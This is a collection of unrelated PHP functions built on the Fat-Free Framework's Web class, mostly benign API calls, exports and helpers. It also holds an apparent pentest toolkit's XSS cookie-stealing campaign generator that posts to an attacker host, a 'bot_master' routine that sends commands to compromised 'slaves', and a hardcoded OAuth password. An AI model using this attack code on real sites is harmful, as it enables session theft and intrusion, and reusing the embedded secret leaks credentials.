/** * Return weather data based on specified latitude/longitude * @return array|FALSE * @param $latitude float * @param $longitude float **/ function weather($latitude, $longitude) { $fw = \Base::instance(); $web = \Web::instance(); $query = array('lat' => $latitude, 'lng' => $longitude, 'username' => $fw->hash($fw->get('IP'))); return ($req = $web->request('http://ws.geonames.org/findNearByWeatherJSON?' . http_build_query($query))) && ($data = json_decode($req['body'], TRUE)) && isset($data['weatherObservation']) ? $data['weatherObservation'] : FALSE; }
/** * Return weather data based on specified latitude/longitude * @return array|FALSE * @param $latitude float * @param $longitude float * @param $key string **/ function weather($latitude, $longitude, $key) { $fw = \Base::instance(); $web = \Web::instance(); $query = ['lat' => $latitude, 'lon' => $longitude, 'APPID' => $key, 'units' => 'metric']; return ($req = $web->request('http://api.openweathermap.org/data/2.5/weather?' . http_build_query($query))) ? json_decode($req['body'], TRUE) : FALSE; }
/** * @param \Base $f3 * Description This function will be used to create the necessary script needed to hook a page. */ function create_campaign(\Base $f3) { $web = \Web::instance(); $this->response->data['SUBPART'] = 'xssrc_campaign.html'; if ($f3->get('VERB') == 'POST') { $error = false; if ($f3->devoid('POST.targetUrl')) { $error = true; \Flash::instance()->addMessage('Please enter a Target url to test access once you steal cookies e.g. http://victim.mth3l3m3nt.com/admin', 'warning'); } else { $target_url = $f3->get('POST.targetUrl'); $c_host = parse_url($target_url, PHP_URL_HOST); $template_src = $f3->ROOT . $f3->BASE . '/scripts/attack_temp.mth3l3m3nt'; $campaign_file = $f3->ROOT . $f3->BASE . '/scripts/' . $c_host . '.js'; $campaign_address = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/scripts/' . $c_host . '.js'; $postHome = $f3->SCHEME . "://" . $f3->HOST . $f3->BASE . '/xssr'; copy($template_src, $campaign_file); $unprepped_contents = file_get_contents($campaign_file); $unprepped_contents = str_replace("http://attacker.mth3l3m3nt.com/xssr", $postHome, $unprepped_contents); $unprepped_contents = str_replace("http://victim.mth3l3m3nt.com/admin/", $target_url, $unprepped_contents); file_put_contents($campaign_file, $unprepped_contents); $instructions = \Flash::instance()->addMessage('Attach the script to target e.g. <script src="' . $campaign_address . '"></script>', 'success'); $this->response->data['content'] = $instructions; } } }
public function download($f3, $args) { $filename = $args['filename']; $filename = setEncryptDecrption($filename, false); $file = DOCROOT . $f3->get("doc_folder_name") . "/" . "portfolio/" . basename($filename); /*if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/pdf'); header("Pragma: public"); header("Expires: 0"); header("Cache-Control:must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header("Content-Type: application/download"); header("Content-Disposition: attachment; filename={$filename}"); header("Content-Transfer-Encoding: binary "); header('Content-Length: ' . filesize($file)); while(ob_get_level()) ob_end_clean(); flush(); readfile($file); die; }*/ // send() method returns FALSE if file doesn't exist if (!Web::instance()->send($file)) { // Generate an HTTP 404 $f3->error(404); } exit; }
public function generate($f3) { require_once '***/libs/htmlpurifier/library/HTMLPurifier.auto.php'; $purifier = new HTMLPurifier(); make_seed(); $models = array('cv2/lm_lstm_epoch50.00_0.5080.t7', 'cv/lm_lstm_epoch46.00_0.7940.t7'); $rnx = array_rand($models, 1); $model = $models[$rnx]; $seed = round(rand()); $cmd = 'cd ***/char-rnn && th ***/char-rnn/sample.lua -verbose 0 -temperature 0.8 -gpuid -1 -seed ' . $seed . ' -length 2048 -primetext "<poem><html><head><meta charset=\\"utf-8\\"><style>body{background-color:#000;color:#0c0;}</style></head><body>" /home/drakh/klingon-poetry/' . $model; $postVars = array('cmd' => $cmd); $options = array('method' => 'POST', 'content' => http_build_query($postVars)); $r = \Web::instance()->request('http://127.0.0.1:1337', $options); $clean_html = $purifier->purify($r['body']); $poem = nl2br(trim($clean_html)); $db_data = array('seed' => $seed, 'model' => $model, 'poem' => $poem); $data_to_save = json_encode($db_data, JSON_UNESCAPED_UNICODE); $this->model->poem = $data_to_save; $this->model->written_date = date('d.m.Y H:i:s'); $this->model->save(); $id = $this->model->id_poem; $postVars = array('id' => $id); $options = array('method' => 'POST', 'content' => http_build_query($postVars)); $r = \Web::instance()->request('http://127.0.0.1:1338', $options); $f3->reroute('/poem/' . $id); }
/** * 实现从 Sae KvDb 中读取数据然后输出 asset * * @param $f3 */ public function fetchAsset($f3) { // 注册 F3 的路由,所有 /asset 请求都由我们自己处理 $pattern = '!^(' . $f3->get('BASE') . '/asset)(/[^\\?]*)(\\?.*)?$!'; $patternMatch = array(); preg_match($pattern, $f3->get('URI'), $patternMatch); if (empty($patternMatch)) { goto out_fail; } // 资源文件的相对路径 $relativeAssetPath = @$patternMatch[2]; $targetPath = $this->assetBasePath . $relativeAssetPath; $targetKey = self::$saeKeyPrefix . md5($targetPath); $saeKv = $this->getSaeKv(); $assetContent = $saeKv->get($targetKey); if (!$assetContent) { goto out_fail; } // 输出 content-type header 信息 header('Content-Type: ' . \Web::instance()->mime($targetPath)); // 静态资源缓存 1 天 $f3->expire(86400); // 输出asset 内容 echo $assetContent; return; // 正确从这里返回 out_fail: // 错误返回 404 $f3->error(404); }
protected function beforeValidate() { if (empty($this->slug)) { $this->slug = \Web::instance()->slug($this->namespace); } return parent::beforeValidate(); }
private function bot_master($url, $command_key, $instruction) { $web = \Web::instance(); $f3 = \Base::instance(); if ($f3->get('VERB') == 'POST') { $error = false; $params = array($command_key => $instruction); $options = array('method' => 'GET'); $url .= '?' . http_build_query($params); $request_successful = $web->request($url, $options); if (!$request_successful) { \Flash::instance()->addMessage('The Request was unsuccessful check whether slave exists', 'warning'); } else { $result_body = $request_successful['body']; $result_headers = $request_successful['headers']; $response_header = $result_headers["0"]; $engine = $request_successful['engine']; $headers_max = implode("\n", $result_headers); if (strpos($response_header, '200 OK') !== false) { //$myFinalRequest="Headers: \n\n".$headers_max."\n\n Body:\n\n".$result_body."\n\n Engine Used: ".$engine; $this->response->data['content'] = $result_body; } else { $this->response->data['content'] = "Slave seems to have developed disobedience it said: \n\n " . $headers_max; } //convert array header to string } } }
/** * Return weather data based on specified latitude/longitude * @return array|FALSE * @param $latitude float * @param $longitude float **/ function weather($latitude, $longitude) { $fw = \Base::instance(); $web = \Web::instance(); $query = array('lat' => $latitude, 'lon' => $longitude); $req = $web->request('http://api.openweathermap.org/data/2.5/weather?' . http_build_query($query)); return ($req = $web->request('http://api.openweathermap.org/data/2.5/weather?' . http_build_query($query))) ? json_decode($req['body'], TRUE) : FALSE; }
function __construct() { //Client ID of the application. $this->clientID = \Base::instance()->get('TRANSLATE.MICROSOFT.CLIENTID'); //Client Secret key of the application. $this->clientSecret = \Base::instance()->get('TRANSLATE.MICROSOFT.CLIENTSECRET'); $this->web = \Web::instance(); }
protected function beforeValidate() { if (empty($this->slug)) { $this->slug = \Web::instance()->slug($this->namespace); } // TODO Put this in beforeSave, to ensure that the slug is clean //$this->slug = \Web::instance()->slug( $this->slug ); return parent::beforeValidate(); }
/** * Generate map * @return string **/ function dump() { $fw = \Base::instance(); $web = \Web::instance(); $out = ''; return ($req = $web->request(self::URL_Static . '?' . array_reduce($this->query, function ($out, $item) { return $out .= ($out ? '&' : '') . urlencode($item[0]) . '=' . urlencode($item[1]); }))) && $req['body'] ? $req['body'] : FALSE; }
public function get_hetic_skills() { header('Content-Type: application/json'); $url = $this->_api_hetic_url . '/skills'; $params = array(); $options = array('method' => 'GET'); $url .= '?' . http_build_query($params); $result = \Web::instance()->request($url, $options); echo $result['body']; }
public function get($key, $default = null) { $slug = \Web::instance()->slug($key); if ($this->model->exists('strings.' . $slug)) { return $this->model->{'strings.' . $slug}; } if (!(new \Dsc\Mongo\Collections\Translations\Keys())->slugExists($slug)) { (new \Dsc\Mongo\Collections\Translations\Keys())->set('title', $key)->set('slug', $slug)->save(); } return !empty($default) ? $default : $key; }
function dumpDatabase($f3) { $db = $f3->get('db'); Logger::Info($f3, "AdminGet.dumpDatabase", "Exporting the DB"); $exportFileName = $f3->get('ROOT') . '/exports/export_' . date('Y-m-d_H\\hi\\m') . '.xlsx'; ExcelImportExport::exportToExcel2007($db, $exportFileName); Logger::Info($f3, "AdminGet.dumpDatabase", "Export file: {$exportFileName}"); if (!Web::instance()->send($exportFileName)) { $f3->error(404); } }
public function callback_hetic($f3) { $code = $f3->get('GET.code'); $url = 'http://api-hetic.com:1337/oauth2/token'; $params = array('code' => $code, 'grant_type' => 'authorization_code', 'redirect_uri' => $this->redirect_uri, 'username' => '54f7438d236dbb372e4e37d6', 'password' => 'FJfhXmZ1Zo6uNm4ESvVpAmLggyp0YL'); $options = array('method' => 'POST', 'content' => http_build_query($params)); $result = \Web::instance()->request($url, $options); $response = json_decode($result['body']); $f3->set('SESSION.id', $response['id']); $this->home(); }
/** * Send request to API/token endpoint * @return string|FALSE * @param $uri string * @param $method string * @param $token array **/ function request($uri, $method, $token = NULL) { $web = \Web::instance(); $options = ['method' => $method, 'content' => http_build_query($this->args), 'header' => ['Accept: application/json']]; if ($token) { array_push($options['header'], 'Authorization: Bearer ' . $token); } elseif ($method == 'POST') { array_push($options['header'], 'Authorization: Basic ' . base64_encode($this->args['client_id'] . ':' . $this->args['client_secret'])); } $response = $web->request($uri, $options); return $response['body'] && preg_grep('/HTTP\\/1\\.\\d 200/', $response['headers']) ? json_decode($response['body'], TRUE) : FALSE; }
public function __construct($appKey, $appSecret) { $this->appKey = $appKey; $this->appSecret = $appSecret; $this->f3 = \Base::instance(); $this->web = \Web::instance(); $this->web->engine('curl'); $this->authToken = $this->f3->get('SESSION.dropbox.authToken'); $this->authSecret = $this->f3->get('SESSION.dropbox.authSecret'); $this->reqParams = array('oauth_consumer_key' => $this->appKey, 'oauth_version' => '1.0', 'oauth_signature' => $this->appSecret . '&', 'oauth_signature_method' => 'PLAINTEXT', 'oauth_timestamp' => strftime("%a, %d %b %Y %H:%M:%S %Z", time())); $this->authParams = $this->reqParams + array('oauth_token' => $this->authToken); $this->authParams['oauth_signature'] .= $this->authSecret; }
/** * request character information from CCP API * @param $keyID * @param $vCode * @return bool|\SimpleXMLElement */ public function requestCharacters($keyID, $vCode) { $apiPath = $this->f3->get('PATHFINDER.API.CCP_XML') . '/account/APIKeyInfo.xml.aspx'; $xml = false; // build request URL $options = $this->getRequestOptions(); $options['content'] = http_build_query(['keyID' => $keyID, 'vCode' => $vCode]); $apiResponse = \Web::instance()->request($apiPath, $options); if ($apiResponse['body']) { $xml = simplexml_load_string($apiResponse['body']); } return $xml; }
public function all() { $time = time(); $filename = \Base::instance()->get('PATH_ROOT') . 'tmp/' . $time . '.csv'; $writer = (new \Ddeboer\DataImport\Writer\CsvWriter(","))->setStream(fopen($filename, 'w')); // Write column headers: $writer->writeItem(array('id', 'hits', 'alias', 'redirect')); // write items $cursor = (new \Redirect\Admin\Models\Routes())->collection()->find(array(), array('_id' => 1, 'url' => 1, 'hits' => 1))->sort(array('hits' => -1)); foreach ($cursor as $doc) { $writer->writeItem(array($doc['_id'], (int) $doc['hits'], @$doc['url']['alias'], @$doc['url']['redirect'])); } \Web::instance()->send($filename, null, 0, true); }
public function identified() { $time = time(); $filename = \Base::instance()->get('PATH_ROOT') . 'tmp/' . $time . '.csv'; $writer = (new \Ddeboer\DataImport\Writer\CsvWriter(","))->setStream(fopen($filename, 'w')); // Write column headers: $writer->writeItem(array('created', 'actor_name', 'action', 'properties')); $key = new \MongoRegex('/@/i'); // write items $cursor = (new \Activity\Models\Actions())->collection()->find(array('actor_name' => $key), array('_id' => 0, 'created' => 1, 'actor_name' => 1, 'action' => 1, 'properties' => 1))->sort(array('created' => -1)); foreach ($cursor as $doc) { $writer->writeItem(array(date('Y-m-d H:i:s', $doc['created']), $doc['actor_name'], $doc['action'], \Activity\Models\Actions::displayValue($doc['properties'], 'raw'))); } \Web::instance()->send($filename, null, 0, true); }
/** * Fetches the JSON web key set from the `jwks_uri` parameter. */ public function fetchJWKs() { if (isset($this->container['oauth']['jwks_uri'])) { $web = \Web::instance(); $response = new HTTPResponse($web->request($this->container['oauth']['jwks_uri'], array('headers' => array('Accept' => 'application/jwk-set+json,application/json,text/plain,application/octet-stream')))); if ($response->isHttpError()) { return; } $jwks = json_decode($response->getBody(), true); if ($jwks == NULL) { return; } $this->container['oauth']['jwks'] = $jwks; } }
/** * Creates & parses NVP call * @param $method string * @param $nvp array * @return array */ function apireq($method, $nvp) { $arg = array_merge($this->creds, $nvp); $arg['METHOD'] = $method; $options = array('method' => 'POST', 'content' => http_build_query($arg), 'protocol_version' => 1.1); $result = \Web::instance()->request($this->endpoint, $options); parse_str($result['body'], $output); if (isset($this->logger)) { $arg['PWD'] = "*****"; $arg['SIGNATURE'] = "*****"; $this->logreq("Request: " . urldecode(http_build_query($arg))); $this->logreq("Response: " . urldecode($result['body'])); } return $output; }
public function indexHook($_request) { $web = \Web::instance(); $content_type = $web->acceptable(array('text/html', 'application/xml', 'application/xhtml+xml', 'application/xrds+xml')); if (isset($_request['openid.mode'])) { $this->start(new Request($_request)); return true; } elseif ($content_type == 'application/xrds+xml') { $this->xrds(); return true; } else { // Point to SimpleID's XRDS document header('X-XRDS-Location: ' . $this->getCanonicalURL('@openid_xrds')); return; } }
public function all_wishlists() { $time = time(); $filename = \Base::instance()->get('PATH_ROOT') . 'tmp/' . $time . '.csv'; $writer = (new \Ddeboer\DataImport\Writer\CsvWriter(","))->setStream(fopen($filename, 'w')); // Write column headers: $writer->writeItem(array('id', 'items_count', 'email', 'first_name', 'last_name')); // write items $cursor = (new \Shop\Models\Wishlists())->collection()->find(array('items_count' => array('$gt' => 0), 'user_id' => array('$nin' => array('', null))), array('_id' => 1, 'user_id' => 1, 'items_count' => 1))->sort(array('items_count' => -1)); foreach ($cursor as $doc) { $item = new \Shop\Models\Wishlists($doc); $user = $item->user(); $writer->writeItem(array($doc['_id'], (int) $doc['items_count'], $user->email(), $user->first_name, $user->last_name)); } \Web::instance()->send($filename, null, 0, true); }
function uploadFile() { $web = \Web::instance(); $overwrite = true; // set to true, to overwrite an existing file; Default: false $slug = true; // rename file to filesystem-friendly version $files = $web->receive(function ($file) { if (copy($file["tmp_name"], $this->file_name)) { $this->log .= '<font color="darkgreen">Файл с остатками успешно загружен</font><br>'; } else { $this->log .= '<font color="red">Ошибка при загрузке прайса. Попробуйте позже.</font>'; return; } }, $overwrite, $slug); }
public function generic_request(\Base $f3) { $web = \Web::instance(); $this->response->data['SUBPART'] = 'websaccre_generic_request.html'; $audit_instance = \Audit::instance(); if ($f3->get('VERB') == 'POST') { $error = false; if ($f3->devoid('POST.url')) { $error = true; \Flash::instance()->addMessage('Please enter a url e.g. http://africahackon.com', 'warning'); } else { $audited_url = $audit_instance->url($f3->get('POST.url')); if ($audited_url == TRUE) { /** * Shared Hosting Servers Have an issue ..safemode and openbasedir setr and curl gives error enable the lines below and comment out the $request_successful one $options = array('follow_location'=>FALSE); $request_successful=$web->request($f3->get('POST.url'),$options); * */ //handle POST data $postReceive = $f3->get('Post.postReceive'); $postData = explode("&", $postReceive); $postData = array_map("trim", $postData); $address = $f3->get('POST.url'); if ($f3->get('POST.means') == "POST") { $options = array('method' => $f3->get('POST.means'), 'content' => http_build_query($postData)); } else { $options = array('method' => $f3->get('POST.means')); } $request_successful = $web->request($address, $options); if (!$request_successful) { \Flash::instance()->addMessage('You have entered an invalid URL try something like: http://africahackon.com', 'warning'); } else { $result_body = $request_successful['body']; $result_headers = $request_successful['headers']; $engine = $request_successful['engine']; $headers_max = implode("\n", $result_headers); $myFinalRequest = "Headers: \n\n" . $headers_max . "\n\n Body:\n\n" . $result_body . "\n\n Engine Used: " . $engine; $this->response->data['content'] = $myFinalRequest; } } else { \Flash::instance()->addMessage('You have entered an invalid URL try something like: http://africahackon.com', 'danger'); } } } }
/** * 抓取商品的图片到本地,并且自动生成缩率图 * */ function fetchGoodsImage($goods_id, $imageUrl) { global $f3; printLog('start to fetch goods_id [' . $goods_id . '] imageUrl[' . $imageUrl . ']'); // 抓取图片,伪装成浏览器防止被某些服务器阻止 $webInstance = \Web::instance(); $webInstance->engine('curl'); $request = $webInstance->request($imageUrl, array('user_agent' => 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')); if (!$request || isset($request['http_code']) && 200 != $request['http_code']) { // 抓取失败,什么都不做 printLog('can not fetch [' . $imageUrl . ']', 'fetchGoodsImage', \Core\Log\Base::ERROR); goto out_release_res; } // 上传目录 $dataPathRoot = $f3->get('sysConfig[data_path_root]'); $saveFilePath = $dataPathRoot . '/upload/image/' . date("Y/m/d"); if (!file_exists($saveFilePath)) { if (!mkdir($saveFilePath, 0755, true)) { printLog('can not mkdir [' . $saveFilePath . ']', 'fetchGoodsImage', \Core\Log\Base::ERROR); goto out_release_res; } } //保存文件 $saveFilePath .= '/' . date("YmdHis") . '_' . rand(1, 10000) . strtolower(strrchr($imageUrl, '.')); file_put_contents($saveFilePath, $request['body']); printLog('save to image : ' . $saveFilePath); // 保存 goods_gallery 记录 $imageFileRelativeName = str_replace($dataPathRoot . '/', '', $saveFilePath); $pathInfoArray = pathinfo($imageFileRelativeName); $imageThumbFileRelativeName = $pathInfoArray['dirname'] . '/' . $pathInfoArray['filename'] . '_' . $f3->get('sysConfig[image_thumb_width]') . 'x' . $f3->get('sysConfig[image_thumb_height]') . '.jpg'; //生成缩略图 StorageImageHelper::resizeImage($dataPathRoot, $imageFileRelativeName, $imageThumbFileRelativeName, $f3->get('sysConfig[image_thumb_width]'), $f3->get('sysConfig[image_thumb_height]')); //保存 goods_gallery 记录 $goodsGalleryService = new GoodsGalleryService(); // ID 为0,返回一个新建的 dataMapper $goodsGallery = $goodsGalleryService->_loadById('goods_gallery', 'img_id=?', 0); $goodsGallery->goods_id = $goods_id; $goodsGallery->img_url = $imageFileRelativeName; $goodsGallery->img_desc = '最土转化图片'; $goodsGallery->img_original = $imageFileRelativeName; $goodsGallery->thumb_url = $imageThumbFileRelativeName; $goodsGallery->save(); printLog('success fetch [' . $goods_id . '] [' . $imageUrl . ']', 'fetchGoodsImage'); out_release_res: unset($request); unset($webInstance); }
/** * Handles Your little Hurl.it like service to make requests to remote servers using various methods * @package Controller */ public function generic_request(\Base $f3) { $web = \Web::instance(); $this->response->data['SUBPART'] = 'websaccre_generic_request.html'; $audit_instance = \Audit::instance(); if ($f3->get('VERB') == 'POST') { $error = false; if ($f3->devoid('POST.url')) { $error = true; \Flash::instance()->addMessage('Please enter a url e.g. http://africahackon.com', 'warning'); } else { $audited_url = $audit_instance->url($f3->get('POST.url')); if ($audited_url == TRUE) { //handle POST data $postReceive = $f3->get('POST.postReceive'); $createPostArray = parse_str($postReceive, $postData); if (ini_get('safe_mode')) { $follow_loc = FALSE; } else { $follow_loc = TRUE; } $address = $f3->get('POST.url'); if ($f3->get('POST.means') == "POST") { $options = array('method' => $f3->get('POST.means'), 'content' => http_build_query($postData), 'follow_location' => $follow_loc); $request_successful = $web->request($address, $options); } elseif ($f3->get('POST.means') == "GET" or $f3->get('POST.means') == "TRACE" or $f3->get('POST.means') == "OPTIONS" or $f3->get('POST.means') == "HEAD") { $options = array('method' => $f3->get('POST.means'), 'follow_location' => $follow_loc); $request_successful = $web->request($address, $options); } else { \Flash::instance()->addMessage('Unsupported Header Method', 'danger'); } if (!$request_successful) { \Flash::instance()->addMessage('Something went wrong your request could not be completed.', 'warning'); } else { $result_body = $request_successful['body']; $result_headers = $request_successful['headers']; $engine = $request_successful['engine']; $headers_max = implode("\n", $result_headers); $myFinalRequest = "Headers: \n\n" . $headers_max . "\n\n Body:\n\n" . $result_body . "\n\n Engine Used: " . $engine; $this->response->data['content'] = $myFinalRequest; } } else { \Flash::instance()->addMessage('You have entered an invalid URL try something like: http://africahackon.com', 'danger'); } } } }
/** * * @param string $unique * @return string */ public function generateSlug($unique = true) { if (empty($this->title)) { $this->setError('A title is required for generating the slug'); return $this->checkErrors(); } $slug = \Web::instance()->slug($this->title); if ($unique) { $base_slug = $slug; $n = 1; while ($this->slugExists($slug)) { $slug = $base_slug . '-' . $n; $n++; } } return $slug; }